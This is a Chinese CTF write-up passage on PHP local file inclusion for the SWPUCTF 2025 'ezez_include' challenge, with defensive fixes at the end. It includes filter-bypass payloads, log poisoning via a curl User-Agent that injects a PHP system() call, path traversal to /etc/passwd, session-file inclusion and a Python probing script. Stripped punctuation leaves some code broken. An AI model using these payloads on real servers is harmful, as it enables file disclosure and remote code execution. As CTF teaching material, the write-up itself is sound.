戰(zhàn):從CTF到安全防御)
1. 題目背景與核心考點(diǎn)解析這道來自SWPUCTF 2025秋季新生賽的ezez_include題目是典型的文件包含漏洞實(shí)戰(zhàn)場(chǎng)景。作為CTF入門級(jí)題目它主要考察選手對(duì)PHP文件包含漏洞的基礎(chǔ)理解和靈活運(yùn)用能力。題目環(huán)境通常模擬了存在安全缺陷的Web應(yīng)用通過精心設(shè)計(jì)的過濾機(jī)制來增加挑戰(zhàn)難度。在實(shí)際業(yè)務(wù)開發(fā)中文件包含漏洞位列OWASP Top 10危險(xiǎn)漏洞榜單可能造成敏感信息泄露、遠(yuǎn)程代碼執(zhí)行等嚴(yán)重后果。這道題目的價(jià)值在于它用競(jìng)賽形式還原了真實(shí)開發(fā)中可能遇到的三種典型防御場(chǎng)景要求選手在受限條件下突破常規(guī)思維找到解決方案。2. 基礎(chǔ)解法協(xié)議利用突破2.1 常規(guī)過濾機(jī)制分析題目源碼通常會(huì)設(shè)置類似如下的過濾邏輯$file $_GET[file]; if(preg_match(/php|data|zip/i, $file)) { die(Hacker!); } include($file);這段代碼明確過濾了php、data、zip等協(xié)議關(guān)鍵字但存在幾個(gè)關(guān)鍵突破口大小寫混合繞過PHP的協(xié)議處理對(duì)大小寫不敏感但正則可能只匹配小寫協(xié)議嵌套利用復(fù)合協(xié)議的特性繞過關(guān)鍵詞檢測(cè)編碼混淆通過URL編碼等變換方式干擾檢測(cè)2.2 PHP偽協(xié)議實(shí)戰(zhàn)應(yīng)用最直接的解法是使用php://filter協(xié)議鏈?filephp://filter/convert.base64-encode/resourceflag.php這個(gè)payload的工作原理是php://filter - 指定使用PHP的過濾器協(xié)議convert.base64-encode - 對(duì)目標(biāo)文件進(jìn)行base64編碼處理resourceflag.php - 指定要讀取的目標(biāo)文件當(dāng)這個(gè)過濾鏈生效時(shí)服務(wù)器會(huì)讀取flag.php文件內(nèi)容進(jìn)行base64編碼轉(zhuǎn)換輸出編碼后的內(nèi)容由于整個(gè)過程發(fā)生在PHP內(nèi)部處理流程中避免了直接執(zhí)行PHP代碼從而繞過了include的直接執(zhí)行限制。關(guān)鍵技巧如果遇到更嚴(yán)格的過濾可以嘗試協(xié)議嵌套如?filepHp://filter/convert.base64-encode/resourceflag.pHp3. 高階解法日志污染技術(shù)3.1 方法原理與適用場(chǎng)景當(dāng)所有常規(guī)協(xié)議都被禁用時(shí)服務(wù)器日志文件包含是最可靠的備選方案。這種方法需要找到可寫的服務(wù)器日志路徑如/var/log/apache2/access.log通過User-Agent或Referer注入PHP代碼包含日志文件觸發(fā)代碼執(zhí)行3.2 具體實(shí)施步驟首先確定日志路徑常見位置/var/log/apache2/access.log /var/log/nginx/access.log /var/log/httpd/access_log使用curl污染日志curl -A ?php system(ls);? http://target.com/包含污染后的日志?file/var/log/apache2/access.log3.3 實(shí)戰(zhàn)注意事項(xiàng)日志輪轉(zhuǎn)問題大型網(wǎng)站日志可能每小時(shí)輪轉(zhuǎn)需要把握時(shí)間窗口權(quán)限要求Web用戶需要對(duì)日志文件有讀取權(quán)限代碼凈化某些WAF會(huì)清理日志中的特殊字符多階段注入當(dāng)單次注入受限時(shí)可以分多次完成代碼組裝4. 防御方案與安全啟示4.1 開發(fā)者防護(hù)建議白名單校驗(yàn)$allowed [about.php, contact.php]; if(!in_array($file, $allowed)) { die(Invalid request); }路徑固定化include(__DIR__./templates/.basename($file)..html);禁用危險(xiǎn)協(xié)議; php.ini配置 allow_url_include Off4.2 CTF選手提升建議協(xié)議全家桶掌握php://filterdata://expect://zip://phar://環(huán)境信息收集通過phpinfo()獲取服務(wù)器配置嘗試包含/proc/self/environ檢查上傳臨時(shí)目錄編碼變換技巧URL編碼雙重編碼零寬度字符注釋混淆5. 擴(kuò)展思考與變種題型5.1 進(jìn)階挑戰(zhàn)場(chǎng)景有限字符利用當(dāng)參數(shù)長(zhǎng)度受限時(shí)的解決方案無回顯場(chǎng)景通過DNS外帶或延時(shí)判斷沙箱環(huán)境繞過disable_functions限制5.2 真實(shí)案例改編某次滲透測(cè)試中遇到這樣的場(chǎng)景$file str_replace(../, , $_GET[file]); include(/var/www/html/.$file);突破方案file....//....//....//etc/passwd這種多重嵌套可以逐步抵消過濾器的替換操作。6. 工具鏈與自動(dòng)化測(cè)試6.1 手工測(cè)試工具推薦Burp Suite Intruder用于快速測(cè)試路徑遍歷ffuf目錄爆破與參數(shù)模糊測(cè)試phpggcPHAR反序列化利用6.2 自動(dòng)化檢測(cè)腳本import requests targets [ php://filter/convert.base64-encode/resourceindex.php, /proc/self/environ, ../../../../etc/passwd ] for payload in targets: r requests.get(fhttp://target.com/?file{payload}) if r.status_code 200: print(f[] Vulnerable: {payload})這種腳本可以幫助快速驗(yàn)證常見的包含漏洞路徑。在實(shí)際CTF比賽中文件包含類題目往往會(huì)結(jié)合其他漏洞形成連鎖攻擊鏈。建議新手在掌握基礎(chǔ)解法后重點(diǎn)培養(yǎng)以下能力服務(wù)器環(huán)境感知能力過濾規(guī)則逆向分析能力非常規(guī)協(xié)議組合運(yùn)用能力有限條件下的代碼構(gòu)造能力最后分享一個(gè)實(shí)用技巧當(dāng)遇到特別嚴(yán)格的過濾時(shí)可以嘗試用session文件包含。先通過session_start()創(chuàng)建會(huì)話然后控制部分session內(nèi)容最后包含session文件通常位于/tmp/sess_[PHPSESSID]。這種方法在特定環(huán)境下能出奇制勝。